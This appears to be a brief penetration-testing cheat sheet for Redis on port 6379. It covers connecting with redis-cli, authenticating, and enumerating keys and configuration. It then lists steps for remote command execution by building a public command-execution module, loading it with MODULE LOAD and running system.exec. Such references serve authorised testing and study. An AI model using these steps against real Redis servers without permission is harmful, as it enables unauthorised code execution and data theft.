6379 ) Redis

00. Basic

## ------------------| Connect
sudo apt-get install redis-tools
redis-cli <IP>

## ------------------| Authentication
AUTH <username> <password>

## ------------------| Enumerations
INFO
CONFIG GET *
INFO keyspace
SELECT 1
KEYS * 
GET <KEY>

02. RCE

## ------------------| Setup
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git 
cd RedisModules-ExecuteCommand && make
cp module.so /dev/shm/

## ------------------| Load module in to radis
MODULE LOAD /dev/shm/module.so
MODULE LIST
system.exec "id"

Last updated